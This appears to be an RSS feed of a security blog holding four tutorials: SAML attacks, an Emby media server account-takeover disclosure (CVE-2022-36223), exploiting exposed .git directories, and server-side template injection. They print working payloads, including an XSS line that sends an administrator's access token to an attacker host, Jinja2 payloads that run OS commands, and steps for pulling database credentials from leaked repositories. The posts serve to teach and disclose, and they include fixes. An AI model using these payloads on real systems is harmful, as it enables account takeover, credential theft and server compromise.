<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[stolabs - Medium]]></title>
        <description><![CDATA[STO Labs - Medium]]></description>
        <link>https://medium.com/stolabs?source=rss----11cfd3349922---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>stolabs - Medium</title>
            <link>https://medium.com/stolabs?source=rss----11cfd3349922---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 11:25:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/stolabs" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How SAML works and some attacks on it]]></title>
            <link>https://medium.com/stolabs/how-saml-works-and-some-attacks-on-it-2f62db0ef1d9?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/2f62db0ef1d9</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[aml]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-hacking]]></category>
            <dc:creator><![CDATA[Gabriel V. Mendes]]></dc:creator>
            <pubDate>Fri, 06 Jan 2023 13:35:40 GMT</pubDate>
            <atom:updated>2023-01-06T13:35:39.972Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is SAML?</h3><p>Security Assertion Markup Language (SAML) is an open standard that allows the communication between an identity providers (IdP) and a service providers (SP).</p><p>Single-sign-on (SSO) systems frequently employ the open standard Security Assertion Markup Language (SAML). The communication between a Service Provider and an Identity Provider is handled by SAML and is done via XML.</p><h3>What is SAML Used For?</h3><p>Users, identity providers, and service providers can all benefit from SAML’s simplified authentication and authorization processes. SAML offers a solution that separates your identity provider from your service providers, centralizing user administration and granting access to SaaS products.</p><p>SAML implements a standard pattern for transferring user authentications and authorizations between identity providers and service providers. The service provider asks the proper identity provider for authorization when a user logs into a SAML-enabled application. The user is now able to use the application after the identity provider has verified the user’s credentials and returned the user’s authorization to the service provider.</p><h3>How SAML works?</h3><p>The way SAML works is by providing user, login, and attribute information between the identity provider and service providers. When a user tries to access certain services, the identity provider can provide SAML attributes to the service provider once the user logs in first to Single Sign On with the identity provider. The service provider asks the identity provider for authentication and authorization.</p><p>Each identity provider and service provider need to agree upon the configuration for SAML. Both ends need to have the exact configuration for the SAML authentication to work.</p><h4>SAML steps</h4><ol><li>We try to access some protected resource</li><li>The server where that resource resides (Service Provider) doesn’t know us, so it generates a SAML Request to be sent to the Identity Provider.</li><li>After generating the SAML Request, the SP redirects us to the IdP. Note: The SAML Request passes through our browser on the way to the IdP.</li><li>The IdP receives the SAML Request</li><li>The IdP provides some means of authentication; a login form or something similar.</li><li>The IdP validates us as a legitimate user that should be allowed to access the resource included as part of the SAML Request</li><li>The IdP creates a SAML Response. The SAML Response contains the SAML Assertions necessary for the SP. The Assertion usually includes the following information at a minimum: Indication that the Assertion is from the correct IdP, a NameID attribute specifying who the user is, and a digital signature. The SAML Response also passes through our browser.</li><li>The IdP redirects us to the SP’s Assertion Consumer Service (ACS) URL. The ACS is simply the URL on which the SP expects to receive SAML assertions.</li><li>The ACS validates the SAML Response.</li><li>We are allowed to access the resource we originally requested.</li></ol><h3>SAML vs OAUTH</h3><p>OAuth is a slightly more recent standard that Twitter and Google jointly created to allow for more efficient internet logins. OAuth shares login information in a way similar to SAML. OAuth is better on mobile and uses JSON, however SAML gives businesses greater control to keep their SSO logins more secure.</p><h3>SAML Request Example</h3><p>When accessing a service provider without first getting authentication, it will usually create a SAML that seems like follows:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZES-EfTkyeC3ZKDO0zoIw.png" /></figure><ul><li><strong>AssertionConsumerServiceURL</strong>: Identifies where the IdP should send the SAML Response to after authentication</li><li><strong>Destination</strong>: Indicates the address to which the request should be sent (IdP)</li><li><strong>ProtocolBinding</strong>: Typically accompanies the AssertionConsumerServiceURL attribute; defines the mechanism by which SAML protocol messages will be transmitted</li><li><strong>saml:Issuer</strong>: Identifies the entity that generated the request message</li></ul><p>With the SAML Request created, the SP now replies to our request with a 302 redirect. The 302 directs our browser to head over to the IdP. The SAML Request is encoded into the HTTP response’s Location header as part of the 302.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A8FGI6ELXz3iorHnO7n4uA.png" /></figure><p>The RelayState parameter, which the SP sends to the IdP along with the SAML Request, contains state data so that the SP will know who requested the resource when the SAML Response is returned. The RelayState value must be the same in the SAML Response.</p><p>The SAMLRequest parameter is a compressed and encoded version of the raw xml snippet . SAML compresses data using the Deflate method before base64 encoding it.</p><h3>SAML Response Example</h3><p>This is how the IdP responds when the user logs in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R8qOB0E7qNHJeuXKxqa4DA.png" /></figure><ul><li>ds:Signature: An XML Signature that protects the integrity of and authenticates the issuer of the assertion; the SAML assertion MAY be signed but doesn’t have to be. The example above contains two ds:Signature elements. The reason is that one is the message’s signature; the other is the Assertion’s signature</li><li>saml:Assertion: Contains information about the user’s identity and potentially other user attributes</li><li>saml:Subject: Specifies the principal that is the subject of all of the statements in the assertion</li><li>saml:StatusCode: A code representing the status of the activity carried out in response to the corresponding request</li><li>saml:Conditions: Specifies things like the time an Assertion is valid and that the Assertion is addressed to a particular Service Provider</li><li>saml:AuthnStatement: States that the IdP authenticated the Subject of the Assertion</li><li>saml:AttributeStatement: Contains Attributes that describe the Subject of the Assertion</li></ul><p>Now that we’ve authenticated with the IdP and it has generated the SAML Response above, it responds to our authentication with another 302 redirect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xq1Ue4aWgZyWC7PyAxIyJA.png" /></figure><p>The 302 ultimately leads to us making a POST request to the Service Provider’s Assertion Consumer Service URL. The POST body contains the RelayState and SAMLResponse parameters. Recall that the ACS processes and validates the SAML Response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7-ogN4KG8dfTpSpIa0XFw.png" /></figure><p>Once the POST request is received, and the SAML Response is validated, we can access the protected resource we initially requested.</p><h3><strong>SAML Attacks</strong></h3><h4>XML Signature Wrapping Attacks</h4><p>When the Identity Provider sends the SAMLResponse to the service provider, the Service Provider needs to do two things:</p><ol><li>verify the signature</li><li>get the information from the message</li></ol><p>SAML Wrapping attacks are relying on the fact that step 2 may not be parsing the XML in the same way as step 1.</p><p>In these attacks the adversary modifies the message structure by injecting forged elements which do not invalidate the XML Signature. The goal of this alteration is to change the message in such a way that the application logic and the signature verification module use different parts of the message</p><h4>XXE</h4><p>Due to the fact that SAML Responses are deflated and base64’d XML documents, we can test for XXE by manipulating the XML document sent as the SAML Response. Example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*akzzyJEDWBkZbUhLySIneg.png" /></figure><h4>XLST via SAML</h4><p>A Turing-complete language called Extensible Stylesheet Language Transformation (XSLT) is used to convert XML documents into other document types like HTML, JSON, or PDF. The fact that the attack can succeed without a valid signature is an essential point to remember. This is because the digital signature is not processed for verification until after the XSLT transformation. To execute the attack, we essentially require a signed SAML Response, although the signature can be self-signed or invalid. Example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kv714CmLGcqBUxgJGAlbYg.png" /></figure><h4>XML Signature Exclusion</h4><p>Signature Exclusion is used to see how the SAML implementation works when no Signature element is present. The signature validation process could be completely bypassed if a Signature element is missing. Any content that would ordinarily be signed could potentially be altered by an attacker if the Signature isn’t validated.</p><h4>Certificate Faking</h4><p>A trusted Identity Provider signed the SAML message, and certificate faking is the process of determining whether or not the Service Provider validates this. Every time a SAML message is received, the trust relationship between the SP and IdP should be verified. What this refers to is signing the SAML Response or Assertion with a self-signed certificate.</p><h3>Remediation</h3><p>Depending on how each SAML implementation handles these vulnerabilities, remediation or prevention may differ. In general, the application should always carefully verify signatures, handle any user inputs that may be included, and finally, the identity provider and the service provider should be processing the responses in the same way to prevent these attacks.</p><h3>References:</h3><p><a href="https://www.varonis.com/blog/what-is-saml">What is SAML and How Does it Work? (varonis.com)</a></p><p><a href="https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/">How to Hunt Bugs in SAML; a Methodology — Part I (epi052.gitlab.io)</a></p><p><a href="https://book.hacktricks.xyz/pentesting-web/saml-attacks/saml-basics">SAML Basics — HackTricks</a></p><p><a href="https://book.hacktricks.xyz/pentesting-web/saml-attacks">SAML Attacks — HackTricks</a></p><p><a href="https://mattermost.com/blog/securing-xml-implementations-across-the-web/">Securing XML implementations across the web | Mattermost</a></p><p><a href="https://joonas.fi/2021/08/saml-is-insecure-by-design/">SAML is insecure by design | joonas.fi</a></p><p><a href="https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations">Duo Finds SAML Vulnerabilities Affecting Multiple Implementations | Duo Security</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2f62db0ef1d9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/how-saml-works-and-some-attacks-on-it-2f62db0ef1d9">How SAML works and some attacks on it</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CVE-2022-36223 / Administrator Account Takeover in Emby Media Server]]></title>
            <link>https://medium.com/stolabs/cve-2022-36223-administrator-account-takeover-in-emby-media-server-616fc2a6704f?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/616fc2a6704f</guid>
            <dc:creator><![CDATA[CUPC4K3]]></dc:creator>
            <pubDate>Thu, 22 Dec 2022 00:49:30 GMT</pubDate>
            <atom:updated>2023-03-24T23:24:04.170Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*6nCg_DGiPlmQ3M4p5NWlQg.png" /></figure><p><strong>Whats is Emby?</strong></p><p>Emby is a media server designed to organize, play, and stream audio and video to a variety of devices.</p><p>This vulnerability on version <strong>4.6.7.0</strong></p><p><strong>Analyzing the Application</strong></p><p>Since I am a fan and user of Emby I decided to do some security testing.</p><p>Starting the tests we have two user accounts:</p><p><strong>Administrator</strong> -&gt; <em>cupcake</em><br><strong>Unprivileged user</strong> -&gt;<em> test</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*vwNaQQ69K7lubmF36IPMLw.png" /></figure><p>Logged in as <strong>test user</strong> i decided to create a playlist as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*iA7nncm8BkBrZLIK-2FDEQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*SZgkSs_-G2Zz-mk0FTLgfQ.png" /></figure><p>Let’s test if the <strong>“playlist name”</strong> entry is vulnerable to <a href="https://owasp.org/www-community/attacks/xss/">Cross Site Scripting (XSS)</a>.</p><p><strong>Payload</strong> used in the test:</p><p>&lt;img src=”x” onerror=”alert(‘XSS’)” /&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*t67SxHNohRSVF_-eW0xMeg.png" /></figure><p>Playlist name vulnerable to XSS! ≖‿≖</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*tIpUg5kG5EOe5E-xg49SUA.png" /></figure><p>Now let’s log in as cupcake (administrator) and see if the payload created by the test user will trigged.</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*jKcO4hZc8GLpOmUaR-WpMg.gif" /></figure><p>Knowing that the playlist name is vulnerable to xss we can insert a payload to steal the <strong>administrator</strong> user’s <strong>access token</strong>.</p><blockquote>I created a new playlist where the payload will send to my <strong>VPS</strong> the <strong>localstorage </strong>where we will get the <strong>access token</strong> from the server <strong>administrator (cupcake)</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*lJcovAZG-4qCSV6jjpQsSw.png" /></figure><p><strong>Payload used in exploration:</strong></p><p>&lt;img src=x onerror=”document.location=’<a href="http://192.168.1.171:8595/?%27+(JSON.stringify(localStorage))">http://<strong>MYIP:PORT</strong>/?&#39;+(JSON.stringify(localStorage))</a>&quot;&gt;</p><p>On the attacker’s VPS we open netcat and are listening on port 8595 waiting for our target to access the malicious playlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/468/1*fMQoE1CL4591ITXgLNHJcg.png" /></figure><p>By logging in as administrator and accessing the menu on the left, the payload is automatically triggered and will send us the localstorage with the valuable information from the server administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*vnPAGx8aDZyM83eZ-eEzig.gif" /></figure><p>I received the locastorage and now I will analyze the json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JPPhsqRsUIAcNLYbUuAN8Q.png" /></figure><p>As we can see the data is encoded and to decode it I like to use the Bup Suite decoder.</p><p>Decoder -&gt; Decode as &gt; URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BGm0PROAU3VeZsHj2JwFkg.png" /></figure><p>Another option is urldecoder, you can access it here:</p><p><a href="https://www.urldecoder.org/">https://www.urldecoder.org/</a></p><p>After running an urldecode we can analyze the obtained data and see the data of the user cupcake, its ID and the policy where it confirms that it is the administrator of the server by <strong>Policy:IsAdministrator:true</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*APUg1Nfmrevw6-jSCozM0w.png" /></figure><p>Below the json we can see the administrator’s AccesToken, just after his UserId. ᕕ(¬ ͜ ¬)ᕗ</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*3suwsggKRq91niLdbeOFHg.png" /></figure><p>Getting this data I created some rules in<strong> Burp Suite</strong> under <strong>Match and Replace</strong>.</p><blockquote>Burp Suite’s Match and Replace rules allow you to change parts of a request and a response which can be a significant help when testing web applications.</blockquote><p>I used as rules to change the User ID and Token from the user test to the administrator cupcake.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z0g9785_uMa0Q6UWhOJNtA.gif" /></figure><p><strong>User Test = No Privileges</strong></p><p>User ID: 420f56e9a1be4f0d9fd6ab87846d908b</p><p>Access Token: 66463fb77a4546b58c10b47b4f9ff9ad</p><p><strong>User cupcake = Administrator</strong></p><p>User ID: a85f0f15dec24393bd82c270bef8a8d0</p><p>Access Token: 6732867f6cb04b03aeee22b9f03d6b44</p><p>After creating as rules, logged in as a test user, I clicked on the settings and we were able to load the admin panel, even logged in as the <strong>unprivileged user</strong>.</p><p>As determined by the rules in match and replace we are not able to elevate the privilege of the test user but we can create a new user with a server administrator profile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r53lob0S71WS7NbMgC9NHQ.gif" /></figure><p>Logged in with the new administrator user: <strong>pwned</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BZWoW28OZNLLYmVj4L3h_g.png" /></figure><p><strong>Conclusion:</strong></p><p>As the gif above shows I was able through an xss to steal the admin user’s ID and token, abuse that information using an ordinary user and create a new user on the server with an admin profile.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=616fc2a6704f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/cve-2022-36223-administrator-account-takeover-in-emby-media-server-616fc2a6704f">CVE-2022-36223 / Administrator Account Takeover in Emby Media Server</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Git Exposed — How to Identify and Exploit]]></title>
            <link>https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/62df3c165c37</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[CUPC4K3]]></dc:creator>
            <pubDate>Fri, 18 Nov 2022 02:35:48 GMT</pubDate>
            <atom:updated>2023-07-07T18:32:41.563Z</atom:updated>
            <content:encoded><![CDATA[<h3>Git Exposed -How to Identify and Exploit</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oq0jhrhnUxiBjTPGNQl3PA.png" /></figure><h3><strong>What is Git?</strong></h3><p><strong>Git </strong>is a widely used code versioning tool for application development. It allows developers to always keep an up-to-date copy of the code and to have greater control over changes made.</p><p>Today many applications use GIT to version and/or publish application code. So, like many other new technologies, GIT does its job well but has also opened up new security holes.</p><p>And because it is so widely used in application development, some problems can occur, such as the vulnerability I am about to describe.</p><h3><strong>Dangers of Git Exposed</strong></h3><p>The danger occurs when the application leaves the “.git” directory, which is in the system root, exposed.<br>By carelessness, an application that uses Git for versioning can expose the “.git” directory.</p><p>This directory of source code can contain sensitive information such as API keys, developer comments, AWS keys, and even the password to a system’s administrative screen and logs of all changes made during development.</p><h3><strong>Finding the exposed Git</strong></h3><p>There are numerous ways to locate the exposed git directory but we will focus on the main techniques.</p><p>And as the print below shows, git was located manually just by accessing the domain’s <strong>./git</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*CK2CDBBpLkVcnte0_ZiyXQ.png" /></figure><h3><strong>1. DotGit Extension</strong></h3><p>There is an extension for <strong>Firefox</strong> and <strong>Chrome</strong> called DotGit. As the description itself says “It is an extension to check if a site accessed by the user has an exposed .git repository”. I accessed the site and the extension already accused the exposed git on the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*pRdW9xMWHjemV_ReEqP6Ew.png" /><figcaption>Pop-up extension notifying git exposed</figcaption></figure><p>By clicking on the extension we can view the site with the git exposed and also have the option to <strong>download</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*jYjg1j5Z4wdafz_s5xUXkg.png" /><figcaption>Accessing the extension we can see the download option</figcaption></figure><h3><strong>2. Fuzzing</strong></h3><p>There are numerous tools for fuzzing directories/files, I who am very visual use and like <strong>feroxbuster</strong>.</p><p>If you don’t know this tool yet you can find it here:</p><p><a href="https://github.com/epi052/feroxbuster">GitHub - epi052/feroxbuster: A fast, simple, recursive content discovery tool written in Rust.</a></p><p>In this case it is possible to “fuzz” with feroxbuster, brute-force directories and files from a wordlist.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aDMgPIXNYAP308556tW4lQ.png" /><figcaption>Locating .git via feroxbuster</figcaption></figure><h3><strong>3. Downloading with WGET</strong></h3><p>To download the exposed git we will use the command below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/762/1*ZjooUqjUM2IIr9IZSCLJEQ.png" /><figcaption>Downloading .git via the wget command</figcaption></figure><p><strong><em>wget : </em></strong><em>Is a free linux-native program that downloads data from the web.</em></p><p><strong><em>- mirror </em></strong><em>: Makes it download everything from git, recursive download.</em></p><p><strong><em>-I</em></strong><em> : Creates a file with everything that was downloaded.</em></p><p>After choosing your preferred technique to download the .git, here we can see that a folder of the site we are attacking has been created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*MlYTB23K7jz0iGzQ3M3KUg.png" /><figcaption>Site domain folder</figcaption></figure><p>After entering our target folder we will check if there are any contents that we can restore.</p><p>To check the git status we will use the command:</p><p><strong><em>git status</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*VP4FETR1rIcz37p_tgabjg.png" /></figure><p>As we can see, some files have been deleted, to recover them we can use one of the two commands below:</p><p><strong><em>git checkout -- . </em></strong><br>or<br><strong><em>git restore .</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*6AB2pxA5fF_0-ofyG1tbwA.png" /></figure><p>By running the <strong>ls </strong>command we can see the files that we have successfully restored.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*vmuC5kwmMoAyhYoJU_RCHw.png" /></figure><p>As stated at the beginning of the article, .git can contain many files with sensitive data. Immediately we can see a very interesting file: <strong>admin.php</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/841/1*K1yT1R3-PzPp_Tkq39V8AQ.png" /></figure><p>As we can see the admin.php file gives us the host<strong> database credentials</strong>, we will use this information shortly.</p><h3><strong>Reading the Logs</strong></h3><p>To read the logs just use this command.</p><p><strong><em>git log</em></strong></p><p>The git log command <strong>shows a list of all the commits made to a repository</strong>. You can see the hash of each Git commit , the message associated with each commit, and more metadata. This command is useful for displaying the history of a repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/790/1*A5S1dNI_WALU3IKwIvcD2w.png" /></figure><p><strong>Reading Commits:</strong><br>To read each commit individually we have to use the following command:</p><p><strong>git show “commit-id”</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/1*qucB9-woUxQCVS0IY-6xDA.png" /></figure><p>Interesting, we saw in this commit that the developer changed the password for accessing the database, exactly in the file we were able to restore: admin.php</p><h3><strong>Accessing the target database</strong></h3><p>Returning to the files we managed to restore we identified the file <strong>“Envoy.blade.php”</strong>.</p><p>Laravel Envoy is a tool for executing common tasks you run on your remote servers. Using Blade style syntax, you can easily setup tasks for deployment,commands, and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*_54tKjfZYkz42N7kGxOhIg.png" /></figure><p>As you can see, an array of servers is defined at the top of the file, allowing you to reference these servers. Within your task declarations, you should place the shell commands that should execute on your servers when the task is invoked.</p><p>Although the credentials report access to the database via localhost, in the Envoy file we can see the servers web pointing to an application IP.</p><p>We could run a port scan on this ip but I decided to dare and try to connect directly via mysql to the host and look at the result.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*amXRIrAa1_1CKj_AdyHexw.png" /></figure><p>Wow, we have successfully gained access to our target’s entire database.</p><h3><strong>Mitigation</strong></h3><p>To fix this vulnerability, either remove the git folder from your webserver or ensure that you <strong>deny all access</strong> to the .git folders.</p><h4>Lighttpd</h4><pre>mod_accessserver.modules += ( &quot;mod_access&quot; )</pre><h4>Apache 2.2</h4><p>For Apache 2.2 modify the <strong>httpd.conf </strong>as follows:</p><pre>&lt;DirectoryMatch &quot;^/.*/\.git/&quot;&gt;<br>   Order deny,allow<br>   Deny from all<br>&lt;/DirectoryMatch&gt;</pre><h4>Apache 2.4</h4><p>For Apache 2.4 modify the <strong>httpd.conf</strong> as follows:</p><pre>&lt;DirectoryMatch &quot;^/.*/\.git/&quot;&gt;<br>    Require all denied<br>&lt;/DirectoryMatch&gt;</pre><h4>Nginx</h4><p>If you use Nginx, you’ll put this code as the foremost entry in the server-block in your <strong>nginx.conf </strong>file:</p><pre>location ~ /.git/ {<br>     deny all;<br>}</pre><h3>Conclusions</h3><p>I hope you enjoyed the article and that it helped a bit by showing you what git is and the the dangers associated with its misuse in a realistic environment.</p><p>This was just a brief summary about Git and its functionality, I think this should be a good start… Keep Learning!</p><p><em>See you soon, bye.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/320/1*6-QegbgHoXOFJ7td_3sjDg.gif" /></figure><h4>References</h4><p><a href="https://iosentrix.com/blog/git-source-code-disclosure-vulnerability/">https://iosentrix.com/blog/git-source-code-disclosure-vulnerability/</a><br><a href="https://gabrieldkgh.medium.com/git-exposed-encontrando-manualmente-e-automatizado-como-explorar-como-arrumar-a-falha-eaa3ee98fe8c">https://gabrieldkgh.medium.com/git-exposed-encontrando-manualmente-e-automatizado-como-explorar-como-arrumar-a-falha-eaa3ee98fe8c</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62df3c165c37" width="1" height="1" alt=""><hr><p><a href="https://medium.com/stolabs/git-exposed-how-to-identify-and-exploit-62df3c165c37">Git Exposed — How to Identify and Exploit</a> was originally published in <a href="https://medium.com/stolabs">stolabs</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SSTI Vulnerability — Server-Side Template Injection Execution AND Exploration]]></title>
            <link>https://medium.com/stolabs/ssti-vulnerability-server-side-template-injection-execution-and-exploration-286923651032?source=rss----11cfd3349922---4</link>
            <guid isPermaLink="false">https://medium.com/p/286923651032</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[exploitation]]></category>
            <dc:creator><![CDATA[Willian Seiffert]]></dc:creator>
            <pubDate>Wed, 16 Nov 2022 22:14:56 GMT</pubDate>
            <atom:updated>2022-11-16T22:14:56.006Z</atom:updated>
            <content:encoded><![CDATA[<h3>SSTI Vulnerability — Server-Side Template Injection Execution AND Exploration</h3><p>As the name implies, it’s a vulnerability that occurs on the server side, giving the idea that the attacker will induce the server to perform some action that theoretically shouldn’t. Templates are basically dynamic parts of the content <strong>that have the ability to evaluate arbitrary code. </strong>If there’s a web page where the content is pretty much the same, but only some parts of it change, there’s a good chance that page is using templates.</p><h3><strong>THE IMPACT</strong></h3><p>Most of the time the impact is critical, and it’s likely to achieve RCE and take full control of the server, although the way in which you achieve that can vary from how the application is implementing it to which model of template is being used. It is important to note that the vulnerability can exist anywhere, not just on the server side, but wherever there is a template available.</p><p>It’s hard to find an SSTI that doesn’t have a big impact, even if initially doesn’t seem like it, the chance of escalating to another vulnerability or gaining access to sensitive data and access files that the shouldn’t be allowed is possible.</p><h3><strong>THE IDENTIFICATION</strong></h3><p>The first battle is to detect the template engine, a simple example would be looking for inputs, URLs that allow us to send data and looking for an “exception” when sending special characters like <em>${{&lt;%[%’”}}%\</em>, often used for perform actions in templates, which may indicate a possible SSTI.</p><p>It can also be identified manually or with brute-force, using payload lists related to the various templates that exist today.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*jeI82s02ke_rf8bh-gnk8A.png" /></figure><h3><strong>THE EXECUTION</strong></h3><p>I created a server with an application in flask and jinja2 vulnerable to SSTI for a simple demonstration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*WUSguSaibS9VGaai0cOeKA.png" /></figure><p>Viewing the exception after sending the payload with special characters:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*MaJTnYCe6dBgl0VD5AUJ9A.png" /></figure><p>After detecting that the template being used is jinja2, it would be interesting to access its documentation and understand how to use it to later start a more solid attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*yCyswEmQh9C4eznCY4fytw.png" /></figure><h3><strong>THE EXPLORATION</strong></h3><p>If the documentation is not enough, an alternative is to explore the environment and discover the objects that you can access.</p><p>These objects that are present in templates engines, can show a path depending on how much they are exposed. With some objects, we can view environment variables, read files, execute commands and take advantage of that.</p><p>In jinja2 for example, you can use this payload to execute OS commands:</p><blockquote>{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘id’).read()}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IF_QE3Cxs5HzTEpmYvZCEw.png" /></figure><p>Using the same payload, but now to list directories and files:</p><blockquote>{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘ls -la’).read()}}</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BaKWNdX9rt6jg8baqmQekA.png" /></figure><p>Being able to scale to a RCE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5364Ql8emS-TbnuF7k5JGQ.png" /></figure><p>And getting it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*ixqRAsdfXW6GdJdaqHVpvQ.png" /></figure><p>In Ruby, to list directories and files, you can use:</p><blockquote>&lt;%= Dir.entries(‘/’) %&gt;</blockquote><p>In Java to list environment variables you can use:</p><blockquote>${T(java.lang.System).getenv()}</blockquote><p>As we can see, there are several templates and each one has a different way of communicating because they were developed in different ways and languages, which can be difficult. To help with researches, we can find several wordlists on the web with different payloads for different types of templates.</p><h3><strong>THE PREVENTION</strong></h3><p>One of the ways to prevent Server Side Template Injection is to not allow any user to submit new templates or modify them, as in this example, concatenating the user input with the template string, on line 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*hw-9xs012s0h5JpstRe9hA.png" /></figure><p>Returning the result of the calculation, without considering the input as a string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*kZfN_hevvmx7J18Ywql30Q.png" /></figure><p>We can fix this by passing the variable to the template context, as in line 11.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*N_ZEf_GteqaT5zxsvpr_gQ.png" /></figure><p>Returning the input as a string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*MnubkA7G_Qf87OsVuRXXkA.png" /></figure><p>Sometimes it’s almost inevitable to block all arbitrary code executions, having to deploy your template in a locked container.</p><h3><strong>THE CONCLUSION</strong></h3><p>In general, the server-side template injection vulnerability is not complex, making it easy to exploit once detected, but it usually goes unnoticed if you don’t try to find it directly. It can also be confused with a Cross-Site Scripting (XSS) vulnerability, due to the possibility of executing code where it shouldn’t, but unlike XSS, SSTI directly attacks internal servers, being most of the time, more critical.</p><p>That’s it for now, thank you! 